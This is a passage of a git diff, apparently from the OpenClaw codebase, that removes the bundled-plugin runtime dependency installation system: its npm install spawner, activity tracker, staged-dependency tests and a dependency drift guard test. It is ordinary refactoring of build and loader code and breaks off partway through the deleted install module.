"../plugins/bundled-runtime-root.js"; import { getCachedPluginJitiLoader, type PluginJitiLoaderCache, @@ -126,9 +122,7 @@ export type BundledChannelSetupEntryContract = { features?: BundledChannelSetupEntryFeatures; }; -export type BundledEntryModuleLoadOptions = { - installRuntimeDeps?: boolean; -}; +export type BundledEntryModuleLoadOptions = Record; const nodeRequire = createRequire(import.meta.url); const jitiLoaders: PluginJitiLoaderCache = new Map(); @@ -348,19 +342,9 @@ function canTryNodeRequireBuiltModule(modulePath: string): boolean { function loadBundledEntryModuleSync( importMetaUrl: string, specifier: string, - options: BundledEntryModuleLoadOptions = {}, + _options: BundledEntryModuleLoadOptions = {}, ): unknown { - let modulePath = resolveBundledEntryModulePath(importMetaUrl, specifier); - const boundaryRoot = resolveEntryBoundaryRoot(importMetaUrl); - if (options.installRuntimeDeps !== false && isBuiltBundledPluginRuntimeRoot(boundaryRoot)) { - const prepared = prepareBundledPluginRuntimeRoot({ - pluginId: path.basename(boundaryRoot), - pluginRoot: boundaryRoot, - modulePath, - env: process.env, - }); - modulePath = prepared.modulePath; - } + const modulePath = resolveBundledEntryModulePath(importMetaUrl, specifier); const cached = loadedModuleExports.get(modulePath); if (cached !== undefined) { return cached; diff --git a/src/plugin-sdk/facade-loader.test.ts b/src/plugin-sdk/facade-loader.test.ts index e7bce9cdfc6..ce18edc39b0 100644 --- a/src/plugin-sdk/facade-loader.test.ts +++ b/src/plugin-sdk/facade-loader.test.ts @@ -1,15 +1,9 @@ import fs from "node:fs"; import path from "node:path"; -import { fileURLToPath, pathToFileURL } from "node:url"; +import { fileURLToPath } from "node:url"; import { afterEach, describe, expect, it, vi } from "vitest"; -import { resolveBundledRuntimeDependencyInstallRoot } from "../plugins/bundled-runtime-deps-roots.js"; -import { - clearBundledRuntimeDependencyNodePaths, - ensureBundledPluginRuntimeDeps, -} from "../plugins/bundled-runtime-deps.js"; import { listImportedBundledPluginFacadeIds, - loadBundledPluginPublicSurfaceModule, loadBundledPluginPublicSurfaceModuleSync, resetFacadeLoaderStateForTest, setFacadeLoaderJitiFactoryForTest, @@ -20,9 +14,7 @@ import { createPluginSdkTestHarness } from "./test-helpers.js"; const { createTempDirSync } = createPluginSdkTestHarness(); const originalBundledPluginsDir = process.env.OPENCLAW_BUNDLED_PLUGINS_DIR; const originalDisableBundledPlugins = process.env.OPENCLAW_DISABLE_BUNDLED_PLUGINS; -const originalPluginStageDir = process.env.OPENCLAW_PLUGIN_STAGE_DIR; const FACADE_LOADER_GLOBAL = "__openclawTestLoadBundledPluginPublicSurfaceModuleSync"; -const STAGED_RUNTIME_DEP_NAME = "openclaw-facade-loader-runtime-dep"; type FacadeLoaderJitiFactory = NonNullable[0]>; const packageRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), "../.."); const trustedBundledPluginFixtureRoots: string[] = []; @@ -164,115 +156,10 @@ function writeJsonFile(filePath: string, value: unknown): void { fs.writeFileSync(filePath, `${JSON.stringify(value, null, 2)}\n`, "utf8"); } -function writeStagedRuntimeDepPackage(params: { - installRoot: string; - name: string; - version: string; - source?: string; -}): void { - const depRoot = path.join(params.installRoot, "node_modules", params.name); - writeJsonFile(path.join(depRoot, "package.json"), { - name: params.name, - version: params.version, - type: "module", - exports: "./index.js", - }); - fs.writeFileSync(path.join(depRoot, "index.js"), params.source ?? "export {};\n", "utf8"); -} - -function concreteRuntimeDepVersionForTest(version: string): string { - return version.startsWith("^") || version.startsWith("~") ? version.slice(1) : version; -} - -function parseRuntimeDepSpecForTest(spec: string): { name: string; version: string } { - const atIndex = spec.lastIndexOf("@"); - return { - name: spec.slice(0, atIndex), - version: spec.slice(atIndex + 1), - }; -} - -function createPackagedBundledPluginDirWithStagedRuntimeDep(params: { - marker: string; - prefix: string; -}): { - bundledPluginsDir: string; - env: NodeJS.ProcessEnv; - installRoot: string; - modulePath: string; - pluginId: string; - pluginRoot: string; - stageRoot: string; -} { - const bundledPluginsDir = createTrustedBundledPluginsRoot(); - const pluginId = nextTrustedPluginId(params.prefix); - const pluginRoot = path.join(bundledPluginsDir, pluginId); - const stageRoot = createTempDirSync(`${params.prefix}stage-`); - const env = { - ...process.env, - OPENCLAW_BUNDLED_PLUGINS_DIR: bundledPluginsDir, - OPENCLAW_PLUGIN_STAGE_DIR: stageRoot, - }; - fs.mkdirSync(pluginRoot, { recursive: true }); - trustedBundledPluginFixtureRoots.push(pluginRoot); - - writeJsonFile(path.join(pluginRoot, "package.json"), { - name: "@openclaw/plugin-demo", - version: "0.0.0", - type: "module", - dependencies: { - [STAGED_RUNTIME_DEP_NAME]: "1.0.0", - }, - }); - const modulePath = path.join(pluginRoot, "api.js"); - fs.writeFileSync( - modulePath, - [ - `import { marker as depMarker } from ${JSON.stringify(STAGED_RUNTIME_DEP_NAME)};`, - "export const marker = `facade:${depMarker}`;", - "export const moduleUrl = import.meta.url;", - "", - ].join("\n"), - "utf8", - ); - - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { - env, - }); - ensureBundledPluginRuntimeDeps({ - env, - pluginId, - pluginRoot, - installDeps: ({ installRoot: runtimeInstallRoot, installSpecs = [] }) => { - for (const spec of installSpecs) { - const dep = parseRuntimeDepSpecForTest(spec); - writeStagedRuntimeDepPackage({ - installRoot: runtimeInstallRoot, - name: dep.name, - version: concreteRuntimeDepVersionForTest(dep.version), - ...(dep.name === STAGED_RUNTIME_DEP_NAME - ? { source: `export const marker = ${JSON.stringify(params.marker)};\n` } - : {}), - }); - } - }, - }); - - return { - bundledPluginsDir, - env, - installRoot, - modulePath, - pluginId, - pluginRoot, - stageRoot, - }; -} afterEach(() => { vi.restoreAllMocks(); resetFacadeLoaderStateForTest(); setFacadeLoaderJitiFactoryForTest(undefined); - clearBundledRuntimeDependencyNodePaths(); for (const dir of trustedBundledPluginFixtureRoots.splice(0)) { fs.rmSync(dir, { recursive: true, force: true }); } @@ -287,11 +174,6 @@ afterEach(() => { } else { process.env.OPENCLAW_DISABLE_BUNDLED_PLUGINS = originalDisableBundledPlugins; } - if (originalPluginStageDir === undefined) { - delete process.env.OPENCLAW_PLUGIN_STAGE_DIR; - } else { - process.env.OPENCLAW_PLUGIN_STAGE_DIR = originalPluginStageDir; - } }); describe("plugin-sdk facade loader", () => { @@ -376,7 +258,7 @@ describe("plugin-sdk facade loader", () => { expect(listImportedFacadeRuntimeIds()).toEqual([fixture.pluginId]); }); - it("uses the runtime-supported native boundary for Windows dist facade loads", () => { + it("uses native require for Windows dist facade loads", () => { const fixture = createBundledPluginFixture({ prefix: "openclaw-facade-loader-windows-", marker: "windows-dist-ok", @@ -407,58 +289,6 @@ describe("plugin-sdk facade loader", () => { } }); - it("loads built bundled sync public surfaces through staged runtime deps", async () => { - const fixture = createPackagedBundledPluginDirWithStagedRuntimeDep({ - marker: "staged", - prefix: "openclaw-facade-loader-runtime-deps-", - }); - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = fixture.bundledPluginsDir; - process.env.OPENCLAW_PLUGIN_STAGE_DIR = fixture.stageRoot; - - await expect(import(pathToFileURL(fixture.modulePath).href)).rejects.toMatchObject({ - code: "ERR_MODULE_NOT_FOUND", - }); - - const loaded = loadBundledPluginPublicSurfaceModuleSync<{ - marker: string; - moduleUrl: string; - }>({ - dirName: fixture.pluginId, - artifactBasename: "api.js", - }); - - expect(loaded.marker).toBe("facade:staged"); - expect(fs.existsSync(path.join(fixture.pluginRoot, "node_modules"))).toBe(false); - expect(fs.realpathSync(fileURLToPath(loaded.moduleUrl))).toBe( - fs.realpathSync( - path.join(fixture.installRoot, "dist", "extensions", fixture.pluginId, "api.js"), - ), - ); - }); - - it("loads built bundled async public surfaces through staged runtime deps", async () => { - const fixture = createPackagedBundledPluginDirWithStagedRuntimeDep({ - marker: "async-staged", - prefix: "openclaw-facade-loader-built-async-", - }); - - const loaded = await loadBundledPluginPublicSurfaceModule<{ - marker: string; - moduleUrl: string; - }>({ - dirName: fixture.pluginId, - artifactBasename: "api.js", - env: fixture.env, - }); - - expect(loaded.marker).toBe("facade:async-staged"); - expect(fs.realpathSync(fileURLToPath(loaded.moduleUrl))).toBe( - fs.realpathSync( - path.join(fixture.installRoot, "dist", "extensions", fixture.pluginId, "api.js"), - ), - ); - }); - it("breaks circular facade re-entry during module evaluation", () => { const fixture = createCircularPluginFixture("openclaw-facade-loader-circular-"); process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = fixture.bundledPluginsDir; diff --git a/src/plugin-sdk/facade-loader.ts b/src/plugin-sdk/facade-loader.ts index d7c315ff548..79439f393d6 100644 --- a/src/plugin-sdk/facade-loader.ts +++ b/src/plugin-sdk/facade-loader.ts @@ -135,36 +135,12 @@ export type FacadeModuleLocation = { boundaryRoot: string; }; -function prepareFacadeLocationForBundledRuntimeDeps(params: { - location: FacadeModuleLocation; - runtimeDeps?: { - pluginId: string; - env?: NodeJS.ProcessEnv; - }; -}): FacadeModuleLocation { - if (!params.runtimeDeps) { - return params.location; - } - return prepareBuiltBundledPluginPublicSurfaceLocation({ - location: params.location, - pluginId: params.runtimeDeps.pluginId, - ...(params.runtimeDeps.env ? { env: params.runtimeDeps.env } : {}), - }); -} - export function loadFacadeModuleAtLocationSync(params: { location: FacadeModuleLocation; trackedPluginId: string | (() => string); - runtimeDeps?: { - pluginId: string; - env?: NodeJS.ProcessEnv; - }; loadModule?: (modulePath: string) => T; }): T { - const location = prepareFacadeLocationForBundledRuntimeDeps({ - location: params.location, - ...(params.runtimeDeps ? { runtimeDeps: params.runtimeDeps } : {}), - }); + const location = params.location; const cached = loadedFacadeModules.get(location.modulePath); if (cached) { return cached as T; @@ -229,10 +205,6 @@ export function loadBundledPluginPublicSurfaceModuleSync(param return loadFacadeModuleAtLocationSync({ location, trackedPluginId: params.trackedPluginId ?? params.dirName, - runtimeDeps: { - pluginId: params.dirName, - ...(params.env ? { env: params.env } : {}), - }, }); } @@ -248,12 +220,10 @@ export async function loadBundledPluginPublicSurfaceModule(par `Unable to resolve bundled plugin public surface ${params.dirName}/${params.artifactBasename}`, ); } - const preparedLocation = prepareFacadeLocationForBundledRuntimeDeps({ + const preparedLocation = prepareBuiltBundledPluginPublicSurfaceLocation({ location, - runtimeDeps: { - pluginId: params.dirName, - ...(params.env ? { env: params.env } : {}), - }, + pluginId: params.dirName, + ...(params.env ? { env: params.env } : {}), }); const cached = loadedFacadeModules.get(preparedLocation.modulePath); if (cached) { diff --git a/src/plugin-sdk/test-helpers/package-manifest-contract.ts b/src/plugin-sdk/test-helpers/package-manifest-contract.ts index b4d937df01d..88ec7dfa674 100644 --- a/src/plugin-sdk/test-helpers/package-manifest-contract.ts +++ b/src/plugin-sdk/test-helpers/package-manifest-contract.ts @@ -16,7 +16,6 @@ type PackageManifest = { type PackageManifestContractParams = { pluginId: string; pluginLocalRuntimeDeps?: string[]; - mirroredRootRuntimeDeps?: string[]; minHostVersionBaseline?: string; }; @@ -52,24 +51,6 @@ export function describePackageManifestContract(params: PackageManifestContractP } } - if (params.mirroredRootRuntimeDeps?.length) { - for (const dependencyName of params.mirroredRootRuntimeDeps) { - it(`mirrors ${dependencyName} at the root package`, () => { - const rootManifest = readJson("package.json"); - const pluginManifest = readJson(packagePath); - const pluginSpec = - pluginManifest.dependencies?.[dependencyName] ?? - pluginManifest.optionalDependencies?.[dependencyName]; - const rootSpec = - rootManifest.dependencies?.[dependencyName] ?? - rootManifest.optionalDependencies?.[dependencyName]; - - expect(pluginSpec).toBeTruthy(); - expect(rootSpec).toBe(pluginSpec); - }); - } - } - const minHostVersionBaseline = params.minHostVersionBaseline; if (minHostVersionBaseline) { it("declares a parseable minHostVersion floor at or above the baseline", () => { diff --git a/src/plugins/bundled-plugin-metadata.test.ts b/src/plugins/bundled-plugin-metadata.test.ts index 669f45a2a11..0bf9f9685bf 100644 --- a/src/plugins/bundled-plugin-metadata.test.ts +++ b/src/plugins/bundled-plugin-metadata.test.ts @@ -34,7 +34,6 @@ const EXPECTED_BUNDLED_STARTUP_PLUGIN_IDS = [ "device-pair", "diagnostics-otel", "diagnostics-prometheus", - "diffs", "file-transfer", "google-meet", "llm-task", diff --git a/src/plugins/bundled-public-surface-runtime-root.ts b/src/plugins/bundled-public-surface-runtime-root.ts index 3ac68e08ed3..4b10ea0f936 100644 --- a/src/plugins/bundled-public-surface-runtime-root.ts +++ b/src/plugins/bundled-public-surface-runtime-root.ts @@ -1,14 +1,14 @@ import path from "node:path"; -import { - isBuiltBundledPluginRuntimeRoot, - prepareBundledPluginRuntimeRoot, -} from "./bundled-runtime-root.js"; export type BundledPublicSurfaceLocation = { modulePath: string; boundaryRoot: string; }; +function isBuiltBundledPluginRoot(rootDir: string): boolean { + return rootDir.replace(/\\/g, "/").includes("/dist/extensions/"); +} + export function resolveBuiltBundledPluginRootFromModulePath(params: { modulePath: string; pluginId: string; @@ -16,10 +16,7 @@ export function resolveBuiltBundledPluginRootFromModulePath(params: { const resolvedModulePath = path.resolve(params.modulePath); let currentDir = path.dirname(resolvedModulePath); while (true) { - if ( - path.basename(currentDir) === params.pluginId && - isBuiltBundledPluginRuntimeRoot(currentDir) - ) { + if (path.basename(currentDir) === params.pluginId && isBuiltBundledPluginRoot(currentDir)) { const relativePath = path.relative(currentDir, resolvedModulePath); if (!relativePath.startsWith("..") && !path.isAbsolute(relativePath)) { return currentDir; @@ -39,24 +36,5 @@ export function prepareBuiltBundledPluginPublicSurfaceLocation(params: { env?: NodeJS.ProcessEnv; installRuntimeDeps?: boolean; }): BundledPublicSurfaceLocation { - if (params.installRuntimeDeps === false) { - return params.location; - } - const pluginRoot = resolveBuiltBundledPluginRootFromModulePath({ - modulePath: params.location.modulePath, - pluginId: params.pluginId, - }); - if (!pluginRoot) { - return params.location; - } - const prepared = prepareBundledPluginRuntimeRoot({ - pluginId: params.pluginId, - pluginRoot, - modulePath: params.location.modulePath, - ...(params.env ? { env: params.env } : {}), - }); - return { - modulePath: prepared.modulePath, - boundaryRoot: prepared.pluginRoot, - }; + return params.location; } diff --git a/src/plugins/bundled-runtime-deps-activity.ts b/src/plugins/bundled-runtime-deps-activity.ts deleted file mode 100644 index 1a19d12755d..00000000000 --- a/src/plugins/bundled-runtime-deps-activity.ts +++ /dev/null @@ -1,98 +0,0 @@ -type BundledRuntimeDepsInstallActivity = { - id: number; - installRoot: string; - missingSpecs: string[]; - installSpecs: string[]; - pluginId?: string; - startedAtMs: number; -}; - -type IdleWaiter = () => void; - -let nextActivityId = 1; -const activeInstalls = new Map(); -const idleWaiters = new Set(); - -function notifyIdleWaiters(): void { - if (activeInstalls.size > 0) { - return; - } - const waiters = [...idleWaiters]; - idleWaiters.clear(); - for (const waiter of waiters) { - waiter(); - } -} - -export function beginBundledRuntimeDepsInstall(params: { - installRoot: string; - missingSpecs: readonly string[]; - installSpecs?: readonly string[]; - pluginId?: string; -}): () => void { - const id = nextActivityId++; - activeInstalls.set(id, { - id, - installRoot: params.installRoot, - missingSpecs: [...params.missingSpecs], - installSpecs: [...(params.installSpecs ?? params.missingSpecs)], - ...(params.pluginId ? { pluginId: params.pluginId } : {}), - startedAtMs: Date.now(), - }); - let ended = false; - return () => { - if (ended) { - return; - } - ended = true; - activeInstalls.delete(id); - notifyIdleWaiters(); - }; -} - -export function getActiveBundledRuntimeDepsInstallCount(): number { - return activeInstalls.size; -} - -export async function waitForBundledRuntimeDepsInstallIdle( - timeoutMs?: number, -): Promise<{ drained: boolean; active: number }> { - if (activeInstalls.size === 0) { - return { drained: true, active: 0 }; - } - - return await new Promise((resolve) => { - let settled = false; - let timer: ReturnType | null = null; - const cleanup = () => { - if (timer) { - clearTimeout(timer); - timer = null; - } - idleWaiters.delete(onIdle); - }; - const settle = (drained: boolean) => { - if (settled) { - return; - } - settled = true; - cleanup(); - resolve({ drained, active: activeInstalls.size }); - }; - const onIdle = () => settle(true); - idleWaiters.add(onIdle); - if (typeof timeoutMs === "number" && Number.isFinite(timeoutMs) && timeoutMs >= 0) { - timer = setTimeout(() => settle(false), Math.floor(timeoutMs)); - timer.unref?.(); - } - }); -} - -export const __testing = { - resetBundledRuntimeDepsInstallActivity(): void { - activeInstalls.clear(); - notifyIdleWaiters(); - idleWaiters.clear(); - nextActivityId = 1; - }, -}; diff --git a/src/plugins/bundled-runtime-deps-drift.test.ts b/src/plugins/bundled-runtime-deps-drift.test.ts deleted file mode 100644 index ba990502b29..00000000000 --- a/src/plugins/bundled-runtime-deps-drift.test.ts +++ /dev/null @@ -1,222 +0,0 @@ -import fs from "node:fs"; -import { Module } from "node:module"; -import path from "node:path"; -import { describe, it } from "vitest"; - -describe("mirrored root runtime dependency drift guard", () => { - // Intentionally not mirrored at runtime: build-only / type-only / TUI-only - // tooling and packages that resolve transitively through other mirrored deps. - // If you change this set, document why in the comment beside the entry. - const KNOWN_UNMIRRORED_BARE_IMPORTS = new Set([ - "@mariozechner/pi-tui", // TUI mode runs from npm-global, not the gateway runtime mirror - "chalk", // available transitively via mirrored deps - "file-type", // available transitively via mirrored deps - "ipaddr.js", // available transitively via mirrored deps - "proxy-agent", // available transitively via mirrored deps - "typescript", // CLI/dev only (api-baseline, jiti-runtime-api) - ]); - - function locateRepoRoot(): string { - let dir = path.resolve(import.meta.dirname); - for (let depth = 0; depth < 10; depth += 1) { - const candidate = path.join(dir, "package.json"); - if (fs.existsSync(candidate)) { - try { - const data = JSON.parse(fs.readFileSync(candidate, "utf8")) as { name?: string }; - if (data.name === "openclaw") { - return dir; - } - } catch { - // fall through - } - } - const parent = path.dirname(dir); - if (parent === dir) { - break; - } - dir = parent; - } - throw new Error("could not locate openclaw repo root from test file"); - } - - function readPackageJsonDeps(packageJsonPath: string): Set { - const out = new Set(); - if (!fs.existsSync(packageJsonPath)) { - return out; - } - let parsed: { - dependencies?: Record; - optionalDependencies?: Record; - }; - try { - parsed = JSON.parse(fs.readFileSync(packageJsonPath, "utf8")); - } catch { - return out; - } - for (const name of Object.keys(parsed.dependencies ?? {})) { - out.add(name); - } - for (const name of Object.keys(parsed.optionalDependencies ?? {})) { - out.add(name); - } - return out; - } - - function readMirroredRootRuntimeDeps(repoRoot: string): Set { - const parsed = JSON.parse(fs.readFileSync(path.join(repoRoot, "package.json"), "utf8")) as { - openclaw?: { - bundle?: { - mirroredRootRuntimeDependencies?: unknown; - }; - }; - }; - const deps = parsed.openclaw?.bundle?.mirroredRootRuntimeDependencies; - return new Set(Array.isArray(deps) ? deps.filter((dep) => typeof dep === "string") : []); - } - - function collectExtensionOwnedDeps(repoRoot: string): Set { - const out = new Set(); - const extensionsDir = path.join(repoRoot, "extensions"); - if (!fs.existsSync(extensionsDir)) { - return out; - } - for (const entry of fs.readdirSync(extensionsDir, { withFileTypes: true })) { - if (!entry.isDirectory()) { - continue; - } - for (const name of readPackageJsonDeps( - path.join(extensionsDir, entry.name, "package.json"), - )) { - out.add(name); - } - } - return out; - } - - function walkCoreSourceFiles(repoRoot: string): string[] { - const srcDir = path.join(repoRoot, "src"); - const files: string[] = []; - const queue: string[] = [srcDir]; - while (queue.length > 0) { - const current = queue.shift(); - if (!current) { - continue; - } - for (const entry of fs.readdirSync(current, { withFileTypes: true })) { - const full = path.join(current, entry.name); - if (entry.isDirectory()) { - if (entry.name === "node_modules" || entry.name.startsWith(".")) { - continue; - } - queue.push(full); - continue; - } - if (!entry.isFile()) { - continue; - } - if ( - /\.test\.tsx?$/u.test(entry.name) || - /\.e2e\.test\.tsx?$/u.test(entry.name) || - /\.test-helpers?\.tsx?$/u.test(entry.name) || - /\.test-fixture\.tsx?$/u.test(entry.name) || - entry.name.endsWith(".d.ts") || - !/\.(?:ts|tsx|cjs|mjs|js)$/u.test(entry.name) - ) { - continue; - } - files.push(full); - } - } - return files; - } - - function packageNameFromBareSpecifier(specifier: string): string | null { - if ( - specifier.startsWith(".") || - specifier.startsWith("/") || - specifier.startsWith("node:") || - specifier.startsWith("#") - ) { - return null; - } - const [first, second] = specifier.split("/"); - if (!first) { - return null; - } - return first.startsWith("@") && second ? `${first}/${second}` : first; - } - - // Match value imports (`import x from 'y'`, `import 'y'`, `require('y')`, - // `import('y')`) but skip `import type` to avoid noise from type-only imports. - const VALUE_IMPORT_PATTERNS = [ - /(?:^|[;\n])\s*import\s+(?!type\b)(?:[^'"()]+?\s+from\s+)?["']([^"']+)["']/g, - /\brequire\s*\(\s*["']([^"']+)["']\s*\)/g, - /\bimport\s*\(\s*["']([^"']+)["']\s*\)/g, - ] as const; - - it("every value-imported root-package dep in src/ is mirrored or owned by an extension", () => { - const repoRoot = locateRepoRoot(); - const rootDeps = readPackageJsonDeps(path.join(repoRoot, "package.json")); - const extensionDeps = collectExtensionOwnedDeps(repoRoot); - const mirroredCore = readMirroredRootRuntimeDeps(repoRoot); - const nodeBuiltins = new Set(Module.builtinModules); - - const violations = new Map(); - for (const file of walkCoreSourceFiles(repoRoot)) { - const source = fs.readFileSync(file, "utf8"); - const specifiers = new Set(); - for (const pattern of VALUE_IMPORT_PATTERNS) { - for (const match of source.matchAll(pattern)) { - if (match[1]) { - specifiers.add(match[1]); - } - } - } - for (const specifier of specifiers) { - const packageName = packageNameFromBareSpecifier(specifier); - if (!packageName) { - continue; - } - if (nodeBuiltins.has(packageName)) { - continue; - } - if (packageName === "openclaw" || packageName.startsWith("@openclaw/")) { - continue; - } - if (mirroredCore.has(packageName) || extensionDeps.has(packageName)) { - continue; - } - if (KNOWN_UNMIRRORED_BARE_IMPORTS.has(packageName)) { - continue; - } - if (!rootDeps.has(packageName)) { - // Not a root runtime dep; not our concern (could be a peer/dev import - // that resolves through some other path; the mirror does not own it). - continue; - } - if (!violations.has(packageName)) { - violations.set(packageName, path.relative(repoRoot, file).replaceAll(path.sep, "/")); - } - } - } - - if (violations.size > 0) { - const summary = [...violations.entries()] - .toSorted(([left], [right]) => left.localeCompare(right)) - .map(([packageName, filePath]) => ` - ${packageName} (e.g. ${filePath})`) - .join("\n"); - throw new Error( - [ - "Bare imports found in src/ that are root-package runtime deps but are neither", - "in package.json openclaw.bundle.mirroredRootRuntimeDependencies nor declared by any extension's package.json.", - "These will be missing from the runtime-deps mirror at gateway start and Node", - "will fail to resolve them. Either add the package to openclaw.bundle.mirroredRootRuntimeDependencies,", - "declare it under an owning extension's dependencies, or add it to", - "KNOWN_UNMIRRORED_BARE_IMPORTS in this test with a comment explaining why.", - "", - summary, - ].join("\n"), - ); - } - }); -}); diff --git a/src/plugins/bundled-runtime-deps-install.ts b/src/plugins/bundled-runtime-deps-install.ts deleted file mode 100644 index 8430be528f0..00000000000 --- a/src/plugins/bundled-runtime-deps-install.ts +++ /dev/null @@ -1,406 +0,0 @@ -import { spawn, spawnSync } from "node:child_process"; -import fs from "node:fs"; -import path from "node:path"; -import { createLowDiskSpaceWarning } from "../infra/disk-space.js"; -import { sanitizeTerminalText } from "../terminal/safe-text.js"; -import { beginBundledRuntimeDepsInstall } from "./bundled-runtime-deps-activity.js"; -import { - BUNDLED_RUNTIME_DEPS_LOCK_DIR, - withBundledRuntimeDepsFilesystemLockAsync, -} from "./bundled-runtime-deps-lock.js"; -import { - assertBundledRuntimeDepsInstalled, - ensureNpmInstallExecutionManifest, - isRuntimeDepsPlanMaterialized, - removeLegacyRuntimeDepsManifest, - removeRuntimeDepsNodeModulesSymlink, -} from "./bundled-runtime-deps-materialization.js"; -import { - createBundledRuntimeDepsInstallArgs, - createBundledRuntimeDepsInstallEnv, - resolveBundledRuntimeDepsPackageManagerRunner, - type BundledRuntimeDepsPackageManager, - type BundledRuntimeDepsPackageManagerRunner, -} from "./bundled-runtime-deps-package-manager.js"; -import { normalizeRuntimeDepSpecs } from "./bundled-runtime-deps-specs.js"; - -const BUNDLED_RUNTIME_DEPS_INSTALL_PROGRESS_INTERVAL_MS = 5_000; - -export type BundledRuntimeDepsInstallParams = { - installRoot: string; - installExecutionRoot?: string; - missingSpecs: string[]; - installSpecs?: string[]; - warn?: (message: string) => void; -}; - -async function withBundledRuntimeDepsInstallRootLockAsync( - installRoot: string, - run: () => Promise, -): Promise { - return await withBundledRuntimeDepsFilesystemLockAsync( - installRoot, - BUNDLED_RUNTIME_DEPS_LOCK_DIR, - run, - ); -} - -function replaceNodeModulesDir(targetDir: string, sourceDir: string): void { - const parentDir = path.dirname(targetDir); - const tempDir = fs.mkdtempSync(path.join(parentDir, ".openclaw-runtime-deps-copy-")); - const stagedDir = path.join(tempDir, "node_modules"); - try { - fs.cpSync(sourceDir, stagedDir, { recursive: true }); - fs.rmSync(targetDir, { recursive: true, force: true }); - fs.renameSync(stagedDir, targetDir); - } finally { - try { - fs.rmSync(tempDir, { recursive: true, force: true }); - } catch { - // Stale temp dirs are swept at the next runtime-deps pass. Do not fail - // a node_modules replacement on a transient cleanup race. - } - } -} - -function shouldCleanBundledRuntimeDepsInstallExecutionRoot(params: { - installRoot: string; - installExecutionRoot: string; -}): boolean { - const installRoot = path.resolve(params.installRoot); - const installExecutionRoot = path.resolve(params.installExecutionRoot); - return installExecutionRoot.startsWith(`${installRoot}${path.sep}`); -} - -function formatBundledRuntimeDepsInstallError(result: { - error?: Error; - signal?: NodeJS.Signals | null; - status?: number | null; - stderr?: string | Buffer | null; - stdout?: string | Buffer | null; -}): string { - const output = [ - result.error?.message, - result.signal ? `terminated by ${result.signal}` : null, - result.stderr, - result.stdout, - ] - .filter(Boolean) - .join("\n") - .trim(); - return output || "npm install failed"; -} - -function formatBundledRuntimeDepsInstallElapsed(ms: number): string { - const seconds = Math.max(0, Math.round(ms / 1000)); - if (seconds < 60) { - return `${seconds}s`; - } - const minutes = Math.floor(seconds / 60); - const remainingSeconds = seconds % 60; - return remainingSeconds > 0 ? `${minutes}m ${remainingSeconds}s` : `${minutes}m`; -} - -function emitBundledRuntimeDepsOutputProgress( - chunk: Buffer, - stream: "stdout" | "stderr", - packageManager: BundledRuntimeDepsPackageManager, - onProgress: ((message: string) => void) | undefined, -): void { - if (!onProgress) { - return; - } - const lines = chunk - .toString("utf8") - .split(/\r\n|\n|\r/u) - .map((line) => sanitizeTerminalText(line).trim()) - .filter((line) => line.length > 0) - .slice(-3); - for (const line of lines) { - onProgress(`${packageManager} ${stream}: ${line}`); - } -} - -type BundledRuntimeDepsInstallContext = { - installExecutionRoot: string; - installSpecs: string[]; - installEnv: NodeJS.ProcessEnv; - runner: BundledRuntimeDepsPackageManagerRunner; - isolatedExecutionRoot: boolean; - cleanInstallExecutionRoot: boolean; -}; - -function createBundledRuntimeDepsInstallContext(params: { - installRoot: string; - installExecutionRoot?: string; - installSpecs: readonly string[]; - env: NodeJS.ProcessEnv; - warn?: (message: string) => void; -}): BundledRuntimeDepsInstallContext { - const installExecutionRoot = params.installExecutionRoot ?? params.installRoot; - const isolatedExecutionRoot = - path.resolve(installExecutionRoot) !== path.resolve(params.installRoot); - const cleanInstallExecutionRoot = - isolatedExecutionRoot && - shouldCleanBundledRuntimeDepsInstallExecutionRoot({ - installRoot: params.installRoot, - installExecutionRoot, - }); - - fs.mkdirSync(params.installRoot, { recursive: true }); - fs.mkdirSync(installExecutionRoot, { recursive: true }); - const diskWarning = createLowDiskSpaceWarning({ - targetPath: installExecutionRoot, - purpose: "bundled plugin runtime dependency staging", - }); - if (diskWarning) { - params.warn?.(diskWarning); - } - ensureNpmInstallExecutionManifest(installExecutionRoot, params.installSpecs); - const installEnv = createBundledRuntimeDepsInstallEnv(params.env, { - cacheDir: path.join(installExecutionRoot, ".openclaw-npm-cache"), - }); - if (!isolatedExecutionRoot) { - removeRuntimeDepsNodeModulesSymlink(params.installRoot); - } - const runner = resolveBundledRuntimeDepsPackageManagerRunner({ - installExecutionRoot, - env: installEnv, - npmArgs: createBundledRuntimeDepsInstallArgs(), - }); - - return { - installExecutionRoot, - installSpecs: normalizeRuntimeDepSpecs(params.installSpecs), - installEnv, - runner, - isolatedExecutionRoot, - cleanInstallExecutionRoot, - }; -} - -function finalizeBundledRuntimeDepsInstall(params: { - installRoot: string; - context: BundledRuntimeDepsInstallContext; -}): void { - const { context } = params; - assertBundledRuntimeDepsInstalled(context.installExecutionRoot, context.installSpecs); - if (context.isolatedExecutionRoot) { - const stagedNodeModulesDir = path.join(context.installExecutionRoot, "node_modules"); - if (!fs.existsSync(stagedNodeModulesDir)) { - throw new Error(`${context.runner.packageManager} install did not produce node_modules`); - } - const targetNodeModulesDir = path.join(params.installRoot, "node_modules"); - replaceNodeModulesDir(targetNodeModulesDir, stagedNodeModulesDir); - assertBundledRuntimeDepsInstalled(params.installRoot, context.installSpecs); - } - removeLegacyRuntimeDepsManifest(params.installRoot); -} - -function cleanupBundledRuntimeDepsInstallContext(context: BundledRuntimeDepsInstallContext): void { - if (context.cleanInstallExecutionRoot) { - fs.rmSync(context.installExecutionRoot, { recursive: true, force: true }); - } -} - -async function spawnBundledRuntimeDepsInstall(params: { - command: string; - args: string[]; - cwd: string; - env: NodeJS.ProcessEnv; - packageManager: BundledRuntimeDepsPackageManager; - onProgress?: (message: string) => void; -}): Promise { - await new Promise((resolve, reject) => { - const startedAtMs = Date.now(); - const heartbeat = - params.onProgress && - setInterval(() => { - params.onProgress?.( - `${params.packageManager} install still running (${formatBundledRuntimeDepsInstallElapsed(Date.now() - startedAtMs)} elapsed)`, - ); - }, BUNDLED_RUNTIME_DEPS_INSTALL_PROGRESS_INTERVAL_MS); - heartbeat?.unref?.(); - const settle = (fn: () => void) => { - if (heartbeat) { - clearInterval(heartbeat); - } - fn(); - }; - const child = spawn(params.command, params.args, { - cwd: params.cwd, - env: params.env, - stdio: ["ignore", "pipe", "pipe"], - windowsHide: true, - }); - const stdout: Buffer[] = []; - const stderr: Buffer[] = []; - child.stdout?.on("data", (chunk: Buffer) => { - stdout.push(chunk); - emitBundledRuntimeDepsOutputProgress( - 